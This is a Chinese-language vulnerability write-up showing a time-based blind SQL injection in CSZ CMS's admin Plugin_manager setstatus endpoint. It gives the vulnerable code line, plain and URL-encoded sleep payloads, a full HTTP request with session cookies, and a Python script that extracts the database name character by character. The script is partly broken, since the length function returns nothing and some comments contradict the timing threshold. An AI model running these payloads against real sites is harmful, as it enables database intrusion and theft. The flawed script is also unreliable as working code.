通过审计代码发现在 cszcms/controllers/admin/Plugin_manager.php 模块下 存在 SQL 注入的问题
\Plugin_manager::setstatus

问题代码主要出现在这一步
$status = $this->Csz_model->getValue('plugin_active', 'plugin_manager', "plugin_config_filename != '' AND plugin_manager_id = '".$this->uri->segment(4)."'", '', 1);
通过 url 获取得到的第四个参数在未经处理的情况下直接拼接到 SQL 语句中,所以我们构造数据包
将
payload: 'or(sleep(5))#
进行 url 编码
payload: %27%6f%72%28%73%6c%65%65%70%28%35%29%29%23
GET /index.php/admin/Plugin_manager/setstatus/%27%6f%72%28%73%6c%65%65%70%28%35%29%29%23 HTTP/1.1
Host: cszcms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cszcms.test/index.php/admin?nocache=1702645352
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 571817370415e423ef2493316eee4059_cszsess=rfnaieun2j3n9lvg430h5mtu3efaea90; cszcookie_571817370415e423ef2493316eee4059csrf_cookie_csz=6bd2bcbb973fc90d35038abc849d7c49
Connection: close

构造发现成功使得服务器沉睡
发现存在注入点,我们编写脚本扩大漏洞利用
首先获取数据库的长度
import requests
import time
from urllib.parse import quote
base_url = "http://cszcms.test/index.php/admin/Plugin_manager/setstatus/"
# 初始化结果
result = ''
charset = 'abcdefghijklmnopqrstuvwxyz0123456789_,ABCDEFGHIJKLMNOPQRSTUVWXYZ'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36',
'Cookie': '571817370415e423ef2493316eee4059_cszsess=v3a882cklrk3jr8b2ff27jpujfcancng; cszcookie_571817370415e423ef2493316eee4059csrf_cookie_csz=c8347ece00becf27de3bc9c749091a86'
}
# 获取数据库的长度
def get_database_length(url):
print("[-] Start getting the database name length:")
# 通过for循环猜解数据库名的长度,根据返回状态码判断正确的数据库名长度
for i in range(1, 100): # 假设数据库名长度不超过100
payload = f"'or+if(length(database())={i},sleep(5),1)#"
encoded_payload = quote(payload)
target_url = url + encoded_payload
start = time.time()
#print(start)
#print(target_url)
response = requests.get(target_url,headers=headers)
#print(response.status_code)
#print(response.text)
end = time.time()
#print(end)
if end - start > 10: # 假设10秒内返回表示长度匹配
print(f"[-] Database name length is {i}")
break
get_database_length(base_url)

# 获取数据库的名字
def get_database_name(url):
print("[-] Start getting the database name:")
database_name = ''
length = get_database_length(url)
for i in range(1, length + 1):
for char in charset:
payload = f"'or if(ascii(substring(database(),{i},1))={ord(char)},sleep(5),1)#"
encoded_payload = quote(payload)
target_url = url + encoded_payload
start = time.time()
response = requests.get(target_url, headers=headers)
end = time.time()
if end - start > 10 and response.status_code == 200: # 假设5秒内返回表示字符匹配
database_name += char
print(f"[-] Database name: {database_name}")
break
print(f"[-] Final database name: {database_name}")
